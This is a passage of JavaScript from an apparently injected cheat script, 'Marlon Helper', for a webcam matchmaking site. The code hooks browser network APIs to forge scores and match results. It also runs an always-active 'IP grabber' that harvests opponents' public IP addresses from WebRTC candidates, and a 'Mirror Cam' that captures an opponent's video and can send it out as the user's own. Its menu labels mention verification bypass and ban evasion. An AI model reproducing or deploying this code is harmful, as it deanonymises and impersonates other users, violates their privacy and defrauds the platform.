parsed[ourKey] = (oldOurs > 100 ? ft : ff) + (oldOurs > 100 ? CONFIG.scoreBoost : CONFIG.scoreBoost / 10000);
parsed[oppKey] = oldOurs;
log(`[BEACON] ${ourKey}: ${oldOurs} → ${parsed[ourKey]}`);
mod = true;
}
if (parsed.result !== undefined) { parsed.result = 'win'; mod = true; }
if (parsed.winner !== undefined) { parsed.winner = 'self'; mod = true; }
if (mod) {
log('[BEACON] patched score data');
const newStr = JSON.stringify(parsed);
const newBytes = new TextEncoder().encode(newStr);
_traceMatch('beacon', { url, original: strData.substring(0,200), modified: newStr.substring(0,200) });
return _origSendBeacon(url, newBytes);
}
} catch(e) {}
}
}
} catch(e) {}
return _origSendBeacon(url, data);
};
log('[BEACON] navigator.sendBeacon hooked');
}
// ── EventSource (SSE) hook ──
if (_window.EventSource && typeof _window.EventSource === 'function') {
const _origEventSource = _window.EventSource;
_window.EventSource = function(url, eventSourceInitDict) {
const es = new _origEventSource(url, eventSourceInitDict);
try {
const origOnmessage = es.onmessage;
Object.defineProperty(es, 'onmessage', {
get() { return origOnmessage; },
set(fn) {
if (typeof fn === 'function') {
const wrapped = function(e) {
try {
if (scoreSpoofAllowed() && e.data && (e.data.includes('score') || e.data.includes('elo') || e.data.includes('match'))) {
log(`[SSE] event data: ${e.data.substring(0,200)}`);
const clean = e.data.replace(/[^\x20-\x7E]/g, '');
try {
const parsed = JSON.parse(clean);
const mod = _deepPatchScores(parsed);
if (mod) {
log('[SSE] patched score data via custom event');
Object.defineProperty(e, 'data', { value: JSON.stringify(parsed) });
}
} catch(e2) {}
}
} catch(e3) {}
return fn.call(this, e);
};
es.onmessage = wrapped;
} else {
es.onmessage = fn;
}
},
configurable: true
});
const origAEL = es.addEventListener.bind(es);
es.addEventListener = function(type, listener, options) {
if (type === 'message' && typeof listener === 'function') {
const wrapped = function(e) {
try {
if (scoreSpoofAllowed() && e.data && (e.data.includes('score') || e.data.includes('elo'))) {
const clean = e.data.replace(/[^\x20-\x7E]/g, '');
try {
const parsed = JSON.parse(clean);
const mod = _deepPatchScores(parsed);
if (mod) {
Object.defineProperty(e, 'data', { value: JSON.stringify(parsed) });
}
} catch(e2) {}
}
} catch(e3) {}
return listener.call(this, e);
};
return origAEL(type, wrapped, options);
}
return origAEL(type, listener, options);
};
} catch(e) {}
return es;
};
Object.setPrototypeOf(_window.EventSource, _origEventSource);
_window.EventSource.prototype = _origEventSource.prototype;
log('[SSE] EventSource hooked');
}
// ── IP GRABBER (always active, no toggle needed) ─────────────────────────
let _ipGrabLog = '';
let _opponentIpDetected = null;
let _opponentHostType = null;
function _ipLog(msg) {
_ipGrabLog += '[' + new Date().toLocaleTimeString() + '] ' + msg + '\n';
const el = document.getElementById('cm-ipgrab-log');
if (el) el.textContent = _ipGrabLog;
}
let _lastCandidateType = '';
function _candidateType(candidateStr) {
if (!candidateStr) return 'unknown';
if (candidateStr.includes('typ relay') || candidateStr.includes('relay')) return 'relay';
if (candidateStr.includes('typ host') || candidateStr.includes('host')) return 'host';
if (candidateStr.includes('typ srflx') || candidateStr.includes('srflx')) return 'srflx';
return 'unknown';
}
function _extractIPFromCandidate(candidateStr) {
if (!candidateStr) return null;
const ipv4Regex = /(\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3})/;
const ipv6Regex = /([a-f0-9:]+:+[a-f0-9:]+)/i;
const ctype = _candidateType(candidateStr);
_lastCandidateType = ctype;
const ipv4Match = candidateStr.match(ipv4Regex);
if (ipv4Match) {
const ip = ipv4Match[1];
if (ctype === 'relay') return { ip, type: 'relay', hostType: 'relay' };
if (ip !== '0.0.0.0' && !ip.startsWith('127.') && !ip.startsWith('192.168.') && !ip.startsWith('10.') && !ip.startsWith('172.') && !ip.startsWith('169.254')) {
return { ip, type: 'public', hostType: ctype };
}
return { ip, type: 'local', hostType: ctype };
}
const ipv6Match = candidateStr.match(ipv6Regex);
if (ipv6Match) return { ip: ipv6Match[1], type: 'ipv6', hostType: ctype };
return null;
}
function _updateIpDisplay(ip, hostType) {
const ipEl = document.getElementById('cm-ipgrab-ip');
const hostEl = document.getElementById('cm-ipgrab-host');
const statusEl = document.getElementById('cm-ipgrab-status');
if (ipEl) ipEl.textContent = ip || '?';
if (hostEl) hostEl.textContent = hostType || '?';
if (statusEl) {
statusEl.textContent = hostType === 'relay' ? 'Relay (TURN) — not real IP' : 'Captured';
statusEl.style.color = hostType === 'relay' ? 'var(--cm-warning)' : 'var(--cm-danger)';
}
}
// Hook addIceCandidate to capture REMOTE candidates (opponent IPs)
const _origAddIceCandidate = (_window.RTCPeerConnection || RTCPeerConnection).prototype.addIceCandidate;
(_window.RTCPeerConnection || RTCPeerConnection).prototype.addIceCandidate = function(candidate) {
try {
if (candidate && candidate.candidate) {
const info = _extractIPFromCandidate(candidate.candidate);
if (info) {
_opponentHostType = info.hostType || 'unknown';
if (info.type === 'relay') {
_ipLog('>> TURN RELAY via addIceCandidate: ' + info.ip + ' (not opponent\'s real IP)');
_updateIpDisplay(info.ip, 'relay');
} else if (info.type === 'public' || info.hostType === 'host') {
_opponentIpDetected = info.ip;
_ipLog('>> OPPONENT IP via addIceCandidate: ' + info.ip + ' (' + info.hostType + ')');
_updateIpDisplay(info.ip, info.hostType);
} else {
_ipLog('ICE candidate: ' + info.ip + ' (' + info.hostType + ', ' + info.type + ')');
}
}
}
} catch(e) {}
return _origAddIceCandidate.call(this, candidate);
};
// Hook setRemoteDescription to extract IP from remote SDP
const _origSetRemoteDesc = (_window.RTCPeerConnection || RTCPeerConnection).prototype.setRemoteDescription;
(_window.RTCPeerConnection || RTCPeerConnection).prototype.setRemoteDescription = function(desc) {
try {
if (desc && desc.sdp) {
const ips = desc.sdp.match(/(\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3})/g) || [];
for (const ip of ips) {
if (ip !== '0.0.0.0' && !ip.startsWith('127.') && !ip.startsWith('192.168.') && !ip.startsWith('10.') && !ip.startsWith('172.')) {
const hostType = desc.sdp.match(/typ\s+(\w+)/)?.[1] || 'srflx';
if (hostType === 'relay') {
_ipLog('>> TURN RELAY via setRemoteDescription: ' + ip);
_updateIpDisplay(ip, 'relay');
} else {
_opponentIpDetected = ip;
_opponentHostType = hostType;
_ipLog('>> OPPONENT IP via setRemoteDescription: ' + ip + ' (' + hostType + ')');
_updateIpDisplay(ip, hostType);
}
break;
}
}
}
} catch(e) {}
return _origSetRemoteDesc.call(this, desc);
};
// Hook RTCPeerConnection to also grab local ICE candidates for logging
const _OrigRTCForIP = _window.RTCPeerConnection;
_window.RTCPeerConnection = function(...args) {
const pc = new _OrigRTCForIP(...args);
pc.addEventListener('icecandidate', function(e) {
if (e.candidate && e.candidate.candidate) {
const info = _extractIPFromCandidate(e.candidate.candidate);
if (info) {
_ipLog('ICE local: ' + info.ip + ' (' + info.hostType + ', ' + info.type + ')');
}
}
});
return pc;
};
Object.setPrototypeOf(_window.RTCPeerConnection, _OrigRTCForIP);
_window.RTCPeerConnection.prototype = _OrigRTCForIP.prototype;
_ipLog('IP grabber active - listening for ICE candidates');
// ── MIRROR CAM: capture opponent's incoming video track ──
let _opponentVideoTrack = null;
let _opponentVideoEl = null;
let _mirrorPendingSenders = [];
const _mirrorRtcProto = (_window.RTCPeerConnection || RTCPeerConnection).prototype;
// Hook addEventListener('track') to capture incoming tracks
const _mirrorOrigAEL = _mirrorRtcProto.addEventListener;
_mirrorRtcProto.addEventListener = function(type, listener, options) {
if (type === 'track') {
const wrapped = function(event) {
try {
if (event.track && event.track.kind === 'video') {
_opponentVideoTrack = event.track;
if (!_opponentVideoEl) {
_opponentVideoEl = document.createElement('video');
_opponentVideoEl.muted = true;
_opponentVideoEl.playsInline = true;
_opponentVideoEl.autoplay = true;
_opponentVideoEl.style.cssText = 'position:fixed;top:-9999px;left:-9999px;width:1px;height:1px;';
document.body.appendChild(_opponentVideoEl);
}
_opponentVideoEl.srcObject = new MediaStream([_opponentVideoTrack]);
_opponentVideoEl.play().catch(() => {});
_mirrorApplyPending();
_updateOpponentVideoDisplay();
const el = document.getElementById('cm-mirror-status');
if (el) { el.textContent = 'Captured: ' + event.track.id.substring(0,20); el.style.color = 'var(--cm-success)'; }
const te = document.getElementById('cm-mirror-track');
if (te) te.textContent = event.track.id.substring(0,20) + '...';
log('[MIRROR] captured opponent video track: ' + event.track.id);
}
} catch(e) {}
return listener.call(this, event);
};
return _mirrorOrigAEL.call(this, type, wrapped, options);
}
return _mirrorOrigAEL.call(this, type, listener, options);
};
// Hook ondesktopvideo/etc. via ontrack property
try {
const _trkDesc = Object.getOwnPropertyDescriptor(_mirrorRtcProto, 'ontrack');
if (_trkDesc && _trkDesc.set) {
Object.defineProperty(_mirrorRtcProto, 'ontrack', {
set(fn) {
_trkDesc.set.call(this, function(event) {
try {
if (event.track && event.track.kind === 'video') {
_opponentVideoTrack = event.track;
if (!_opponentVideoEl) {
_opponentVideoEl = document.createElement('video');
_opponentVideoEl.muted = true;
_opponentVideoEl.playsInline = true;
_opponentVideoEl.autoplay = true;
_opponentVideoEl.style.cssText = 'position:fixed;top:-9999px;left:-9999px;width:1px;height:1px;';
document.body.appendChild(_opponentVideoEl);
}
if (_opponentVideoEl.srcObject !== _opponentVideoTrack) {
_opponentVideoEl.srcObject = new MediaStream([_opponentVideoTrack]);
_opponentVideoEl.play().catch(() => {});
}
_mirrorApplyPending();
_updateOpponentVideoDisplay();
const el = document.getElementById('cm-mirror-status');
if (el) { el.textContent = 'Captured: ' + event.track.id.substring(0,20); el.style.color = 'var(--cm-success)'; }
const te = document.getElementById('cm-mirror-track');
if (te) te.textContent = event.track.id.substring(0,20) + '...';
log('[MIRROR] captured opponent video track via ontrack: ' + event.track.id);
}
} catch(e) {}
return fn.call(this, event);
});
},
get: _trkDesc.get
});
}
} catch(e) {}
function _replaceFirstVideoSender(track) {
for (const pc of _window._mogPCs || []) {
try {
const senders = pc.getSenders();
for (const sender of senders) {
if (sender.track?.kind === 'video') {
sender.replaceTrack(track).catch(() => {});
return;
}
}
} catch(e) {}
}
}
function _mirrorApplyPending() {
if (!_opponentVideoTrack) return;
// Apply to any tracked senders
for (const item of _mirrorPendingSenders) {
try {
const sender = typeof item === 'function' ? item() : item;
if (sender && typeof sender.replaceTrack === 'function') {
sender.replaceTrack(_opponentVideoTrack).catch(() => {});
}
} catch(e) {}
}
_mirrorPendingSenders = [];
// Auto-apply to first video sender only (not all — avoids score bugs)
if (CONFIG.mirrorOpponentCam === true && !_camSpoofActive) {
_replaceFirstVideoSender(_opponentVideoTrack);
log('[MIRROR] auto-applied opponent track to first video sender');
}
}
function _updateOpponentVideoDisplay() {
const vid = document.getElementById('cm-opponent-video');
if (!vid) return;
if (_opponentVideoTrack) {
try {
const stream = new MediaStream([_opponentVideoTrack]);
vid.srcObject = stream;
vid.play().catch(() => {});
log('[MIRROR] Opponent cam feed displayed in UI');
} catch(e) {
log('[MIRROR] Error displaying opponent cam:', e);
}
}
}
function applyAccentColor(color) {
if (!color || typeof color !== 'string') return;
document.documentElement.style.setProperty('--cm-primary', color);
document.documentElement.style.setProperty('--cm-accent', color);
const rgb = hexToRgb(color);
if (rgb) {
const rgbValue = `${rgb.r},${rgb.g},${rgb.b}`;
document.documentElement.style.setProperty('--cm-primary-rgb', rgbValue);
document.documentElement.style.setProperty('--cm-accent-rgb', rgbValue);
}
CONFIG.accentColor = color;
saveConfig();
}
function hexToRgb(hex) {
const result = /^#?([a-f\d]{2})([a-f\d]{2})([a-f\d]{2})$/i.exec(hex);
return result ? { r: parseInt(result[1],16), g: parseInt(result[2],16), b: parseInt(result[3],16) } : null;
}
function buildMenu() {
if (document.getElementById('cm-root')) return;
// ── Intro / Welcome Screen ──
const _cursorB64 = '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';
document.documentElement.style.cursor = 'url(data:image/png;base64,' + _cursorB64 + ') 24 24, auto';
const _introOv = document.createElement('div');
_introOv.id = 'cm-intro-overlay';
_introOv.innerHTML = `<style>
html, body, * { cursor: url(data:image/png;base64,${_cursorB64}) 24 24, auto !important; }
#cm-intro-overlay{position:fixed;top:0;left:0;width:100%;height:100%;z-index:999999;display:flex;flex-direction:column;align-items:center;justify-content:center;background:radial-gradient(ellipse at center,#15152a 0%,#0b0b14 70%,#050508 100%);font-family:'Segoe UI',Tahoma,sans-serif;color:#fff;overflow:hidden;text-align:center;}
#cm-intro-overlay .cm-i-stars{position:absolute;top:0;left:0;width:100%;height:100%;overflow:hidden;pointer-events:none;z-index:0;}
#cm-intro-overlay .cm-i-stars span{position:absolute;display:block;width:2px;height:2px;background:#fff;border-radius:50%;animation:cmIStarAnim var(--d) linear infinite;opacity:0;}
#cm-intro-overlay .cm-i-stars span:nth-child(1){left:10%;top:20%;--d:3.2s;animation-delay:0s;}
#cm-intro-overlay .cm-i-stars span:nth-child(2){left:25%;top:5%;--d:4.1s;animation-delay:0.8s;}
#cm-intro-overlay .cm-i-stars span:nth-child(3){left:40%;top:15%;--d:2.7s;animation-delay:0.3s;}
#cm-intro-overlay .cm-i-stars span:nth-child(4){left:55%;top:8%;--d:3.8s;animation-delay:1.2s;}
#cm-intro-overlay .cm-i-stars span:nth-child(5){left:70%;top:25%;--d:3.5s;animation-delay:0.5s;}
#cm-intro-overlay .cm-i-stars span:nth-child(6){left:85%;top:10%;--d:4.3s;animation-delay:1.8s;}
#cm-intro-overlay .cm-i-stars span:nth-child(7){left:15%;top:70%;--d:2.9s;animation-delay:0.9s;}
#cm-intro-overlay .cm-i-stars span:nth-child(8){left:50%;top:45%;--d:3.6s;animation-delay:0.2s;}
#cm-intro-overlay .cm-i-stars span:nth-child(9){left:75%;top:60%;--d:4s;animation-delay:1.5s;}
#cm-intro-overlay .cm-i-stars span:nth-child(10){left:90%;top:35%;--d:3.1s;animation-delay:0.7s;}
#cm-intro-overlay .cm-i-stars span:nth-child(11){left:5%;top:50%;--d:3.9s;animation-delay:2s;}
#cm-intro-overlay .cm-i-stars span:nth-child(12){left:35%;top:78%;--d:2.5s;animation-delay:0.4s;}
#cm-intro-overlay .cm-i-stars span:nth-child(13){left:60%;top:85%;--d:4.5s;animation-delay:1.1s;}
#cm-intro-overlay .cm-i-stars span:nth-child(14){left:80%;top:75%;--d:3.3s;animation-delay:1.6s;}
#cm-intro-overlay .cm-i-stars span:nth-child(15){left:45%;top:92%;--d:3.7s;animation-delay:0.1s;}
#cm-intro-overlay .cm-i-stars span:nth-child(16){left:20%;top:38%;--d:2.8s;animation-delay:1.3s;}
#cm-intro-overlay .cm-i-stars span:nth-child(17){left:65%;top:30%;--d:4.2s;animation-delay:0.6s;}
#cm-intro-overlay .cm-i-stars span:nth-child(18){left:95%;top:55%;--d:3.4s;animation-delay:1.9s;}
#cm-intro-overlay .cm-i-stars span:nth-child(19){left:30%;top:65%;--d:3s;animation-delay:1.4s;}
#cm-intro-overlay .cm-i-stars span:nth-child(20){left:72%;top:48%;--d:4.4s;animation-delay:0.3s;}
@keyframes cmIStarAnim{0%{transform:translateY(0) scale(0);opacity:0}10%{opacity:1;transform:translateY(10px) scale(1)}90%{opacity:1}100%{transform:translateY(80px) scale(0.3);opacity:0}}
#cm-intro-overlay::after{content:'';position:absolute;top:-50%;left:-50%;width:200%;height:200%;background:conic-gradient(from 0deg,transparent,#6366f1 20%,transparent 40%,#a855f7 60%,transparent 80%);animation:cmIRotateBg 8s linear infinite;opacity:0.06;}
@keyframes cmIRotateBg{to{transform:rotate(360deg)}}
.cm-i-inner{position:relative;z-index:1;display:flex;flex-direction:column;align-items:center;padding:20px;}
.cm-i-logo-vid{width:100px;height:100px;border-radius:50%;overflow:hidden;margin-bottom:8px;animation:cmIFadeUp 1s ease both;box-shadow:0 0 30px rgba(0,0,0,0.6),0 0 60px rgba(0,0,0,0.3);}
.cm-i-logo-vid video{width:100%;height:100%;object-fit:cover;display:block;}
.cm-i-welcome{font-size:20px;font-weight:300;letter-spacing:8px;text-transform:uppercase;color:rgba(255,255,255,0.4);margin-bottom:2px;animation:cmIFadeUp 1s .12s ease both;}
.cm-i-title{font-size:82px;font-weight:800;color:#fff;text-shadow:0 0 30px rgba(0,0,0,0.8),0 0 60px rgba(0,0,0,0.5);margin:0 0 32px;line-height:1.1;animation:cmIFadeUp 1s .24s ease both;}
.cm-i-quote{font-size:16px;font-style:italic;color:rgba(255,255,255,0.55);max-width:580px;line-height:1.8;margin-bottom:40px;padding:0 24px;animation:cmIFadeUp 1s .36s ease both;position:relative;}
.cm-i-quote::before,.cm-i-quote::after{position:absolute;font-size:40px;color:rgba(99,102,241,0.25);font-family:Georgia,serif;line-height:1;}
.cm-i-quote::before{content:'\\201C';top:-10px;left:4px;}
.cm-i-quote::after{content:'\\201D';bottom:-24px;right:4px;}
.cm-i-row{display:flex;align-items:center;gap:16px;animation:cmIFadeUp 1s .5s ease both;}
.cm-i-continue{padding:14px 52px;background:linear-gradient(135deg,#6366f1,#a855f7);color:#fff;border:none;border-radius:50px;font-size:18px;font-weight:600;cursor:pointer;transition:transform .25s cubic-bezier(.34,1.56,.64,1),box-shadow .25s;box-shadow:0 4px 28px rgba(99,102,241,0.35);letter-spacing:0.5px;}
.cm-i-continue:hover{transform:scale(1.08);box-shadow:0 8px 40px rgba(99,102,241,0.55);}
.cm-i-continue:active{transform:scale(0.96);}
.cm-i-discord{display:flex;align-items:center;justify-content:center;width:48px;height:48px;border-radius:50%;background:rgba(255,255,255,0.06);border:1px solid rgba(255,255,255,0.1);cursor:pointer;transition:transform .25s cubic-bezier(.34,1.56,.64,1),background .2s,border-color .2s;color:#5865F2;}
.cm-i-discord:hover{transform:scale(1.12);background:rgba(88,101,242,0.15);border-color:#5865F2;}
.cm-i-discord:active{transform:scale(0.92);}
.cm-i-discord svg{width:24px;height:24px;}
@keyframes cmIFadeUp{from{opacity:0;transform:translateY(30px)}to{opacity:1;transform:translateY(0)}}
@keyframes cmIFadeOut{from{opacity:1;transform:scale(1)}to{opacity:0;transform:scale(1.06)}}
#cm-intro-overlay.cm-i-hide{animation:cmIFadeOut .5s cubic-bezier(.55,0,.1,1) forwards;pointer-events:none;}
</style>
<div class="cm-i-stars"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></div>
<div class="cm-i-inner">
<div class="cm-i-logo-vid"><video autoplay muted loop playsinline src="https://v16m.tiktokcdn-us.com/b23435e11c9f7f9419e0287e41c8b532/6a31e5b4/video/tos/no1a/tos-no1a-ve-0068-no/owoRDEgqQ1ogRHElIB0aMkFDQGoA3FfmkOAe6k/?a=1233&bti=OUBzOTg7QGo6OjZAL3AjLTAzYCMxNDNg&&bt=1664&ft=kLx3-yt4Z9o0PDFS3k3aQ9PweKA6JE.C~&mime_type=video_mp4&rc=ZmQ2ZjM0aGQ1ZzY4M2QzZ0BpMzluZGw5cjw5MzMzbzczNUBfNDReXi82XzUxY2EtNC5iYSNeZS9hMmQ0cWFhLS1kMTFzcw%3D%3D&vvpl=1&l=20260616180916969A7621F7670E143221&btag=e000b0000"></video></div>
<div class="cm-i-welcome">Welcome ${_currentUsername || 'User'}</div>
<h1 class="cm-i-title">Marlon Helper</h1>
<div class="cm-i-quote">just a simple copy and paste and boom u turn into Marlon with marlon helper</div>
<div class="cm-i-row">
<button class="cm-i-continue">Continue</button>
<div class="cm-i-discord" title="Join Discord"><svg viewBox="0 0 24 24" fill="currentColor"><path d="M20.317 4.37a19.791 19.791 0 0 0-4.885-1.515.074.074 0 0 0-.079.037c-.21.375-.444.864-.608 1.25a18.27 18.27 0 0 0-5.487 0 12.64 12.64 0 0 0-.617-1.25.077.077 0 0 0-.079-.037A19.736 19.736 0 0 0 3.677 4.37a.07.07 0 0 0-.032.027C.533 9.046-.32 13.58.099 18.057a.082.082 0 0 0 .031.057 19.9 19.9 0 0 0 5.993 3.03.078.078 0 0 0 .084-.028 14.09 14.09 0 0 0 1.226-1.994.076.076 0 0 0-.041-.106 13.107 13.107 0 0 1-1.872-.892.077.077 0 0 1-.008-.128 10.2 10.2 0 0 0 .372-.292.074.074 0 0 1 .077-.01c3.928 1.793 8.18 1.793 12.062 0a.074.074 0 0 1 .078.01c.12.098.246.198.373.292a.077.077 0 0 1-.006.127 12.299 12.299 0 0 1-1.873.892.077.077 0 0 0-.041.107c.36.698.772 1.362 1.225 1.993a.076.076 0 0 0 .084.028 19.839 19.839 0 0 0 6.002-3.03.077.077 0 0 0 .032-.054c.5-5.177-.838-9.674-3.549-13.66a.061.061 0 0 0-.031-.03zM8.02 15.33c-1.183 0-2.157-1.085-2.157-2.419 0-1.333.956-2.419 2.157-2.419 1.21 0 2.176 1.096 2.157 2.42 0 1.333-.956 2.418-2.157 2.418zm7.975 0c-1.183 0-2.157-1.085-2.157-2.419 0-1.333.955-2.419 2.157-2.419 1.21 0 2.176 1.096 2.157 2.42 0 1.333-.946 2.418-2.157 2.418z"/></svg></div>
</div>
</div>`;
document.body.appendChild(_introOv);
_introOv.querySelector('.cm-i-continue').addEventListener('click', () => {
_introOv.classList.add('cm-i-hide');
setTimeout(() => {
_introOv.remove();
// Remove custom cursor after intro unless crosshair is toggled on
if (!CONFIG.crosshairEnabled) {
document.documentElement.style.cursor = '';
const cursorStyle = document.getElementById('cm-crosshair-style');
if (cursorStyle) cursorStyle.remove();
}
}, 500);
});
_introOv.querySelector('.cm-i-discord').addEventListener('click', () => {
window.open('https://discord.gg/U6sQEp83qq', '_blank');
});
function applyFemboyLabels(active) {
const pairs = [
['Score Control', 'Femboy Control'],
['System Status', 'Femboy Status'],
['Result Settings', 'Femboy Results'],
['Master Switch', 'Femboy Switch'],
['Power Status', 'Femboy Power'],
['Match Type', 'Femboy Match'],
['Hook Status', 'Femboy Hook'],
['Unban / Clear Cookies', 'Unfemboy / Clear'],
['Verification Bypass', 'Femboy Bypass'],
['Mode', 'Femboy Mode'],
['Min', 'Femboy Min'],
['Max', 'Femboy Max'],
['Type', 'Femboy Type'],
['Target', 'Femboy Target'],
['Lower Bound', 'Femboy Lower'],
['Upper Bound', 'Femboy Upper'],
['Matchmaking', 'Femboy Matching'],
['Auto Queue', 'Femboy Queue'],
['Request Delay (ms)', 'Femboy Delay (ms)'],
['Auto Find New Match', 'Femboy Find Match'],
['Spoof Cycling', 'Femboy Cycling'],
['Auto Cycle Camera', 'Femboy Camera'],
['Camera Interval (s)', 'Femboy Cam Interval'],
['Auto Cycle Audio', 'Femboy Audio'],
['Audio Interval (s)', 'Femboy Audio Interval'],
['Convenience', 'Femboy Convenience'],
['Auto Dismiss Popups', 'Femboy Dismiss'],
['Auto Clear Cookies on Ban', 'Femboy Unban'],
['Virtual Camera', 'Femboy Camera'],
['Activate Spoof', 'Activate Femboy'],
['Flip Horizontal', 'Femboy Flip'],
['Loop Video', 'Femboy Loop'],
['Playback Speed', 'Femboy Speed'],
['Source', 'Femboy Source'],
['Video', 'Femboy Video'],
['Image', 'Femboy Image'],
['Select video file...', 'Select femboy video...'],
['Select image file...', 'Select femboy image...'],
['Text Overlay', 'Femboy Text'],
['Enable Text', 'Femboy Text'],
['Content', 'Femboy Content'],
['Color', 'Femboy Color'],
['Size', 'Femboy Size'],
['Audio Spoof', 'Femboy Audio'],
['Activate Audio Spoof', 'Activate Femboy Audio'],
['Select audio file...', 'Select femboy audio...'],
['Loop', 'Femboy Loop'],
['Speed', 'Femboy Speed'],
['Volume', 'Femboy Volume'],
['Bass (dB)', 'Femboy Bass (dB)'],
['Treble (dB)', 'Femboy Treble (dB)'],
['Warmth (dB)', 'Femboy Warmth (dB)'],
['Status', 'Femboy Status'],
['Inactive', 'Femboy Inactive'],
['Active', 'Femboy Active'],
['None', 'Femboy None'],
['Developer', 'Femboy Dev'],
['Console Logs', 'Femboy Logs'],
['Hotkeys', 'Femboy Keys'],
['Open Panel', 'Femboy Panel'],
['Stream Proof', 'Femboy Stealth'],
['Panic Key', 'Femboy Panic'],
['Show Control Bar', 'Femboy Control Bar'],
['Hide All Now', 'Hide All Femboy'],
['Iframe Mode (OBS)', 'Femboy Mode (OBS)'],
['Branding', 'Femboy Branding'],
['Display Badge', 'Femboy Badge'],
['Visibility', 'Femboy Visibility'],
['Appearance', 'Femboy Appearance'],
['Mirror Cam', 'Femboy Mirror'],
['Mirror Opponent Cam', 'Femboy Opponent Cam'],
['Opponent Feed', 'Femboy Feed'],
['Record', 'Femboy Record'],
['Idle', 'Femboy Idle'],
